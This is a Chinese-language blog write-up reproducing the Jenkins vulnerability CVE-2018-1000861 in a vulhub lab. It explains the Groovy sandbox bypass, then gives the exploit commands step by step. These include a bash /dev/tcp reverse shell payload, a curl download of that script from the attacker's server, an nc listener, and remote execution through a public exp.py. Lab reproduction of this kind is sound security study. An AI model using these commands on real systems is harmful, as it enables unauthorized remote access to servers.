1. 程式人生 > 實用技巧 >CVE-2018-1000861復現

CVE-2018-1000861復現

0x00 漏洞描述

Jenkins使用Stapler框架開發,其允許使用者通過URL PATH來呼叫一次public方法。由於這個過程沒有做限制,攻擊者可以構造一些特殊的PATH來執行一些敏感的Java方法。

通過這個漏洞,我們可以找到很多可供利用的利用鏈。其中最嚴重的就是繞過Groovy沙盒導致未授權使用者可執行任意命令:Jenkins在沙盒中執行Groovy前會先檢查指令碼是否有錯誤,檢查操作是沒有沙盒的,攻擊者可以通過Meta-Programming的方式,在檢查這個步驟時執行任意命令。

0x01 環境搭建

使用vulhub搭建漏洞環境

/vulhub-master/jenkins/CVE-2018-1000861

http://192.168.255.130:8080/

0x02 復現

此漏洞沒有回顯,直接利用orange的exp執行命令反彈shell

https://github.com/orangetw/awesome-jenkins-rce-2019

(1).在我們的web伺服器寫txt文字內容為:

bash -i >& /dev/tcp/*.*.*.*/2333 0>&1

(2).使用exp.py執行以下命令下載檔案

python exp.py http://192.168.255.130:8080/ "curl -o /tmp/1.sh http://192.168.255.1/1.txt"

(3).然後在我們接收shell的機器上監聽之前寫的埠

nc.exe-master>nc64.exe -lvvp 7777

(4).直接bash執行我們下載的指令碼

python exp.py http://192.168.255.130:8080/ "bash /tmp/1.sh"

(5).回到監聽埠的機器

成功獲取到shell

參考文章:https://www.cnblogs.com/cwkiller/p/12578924.html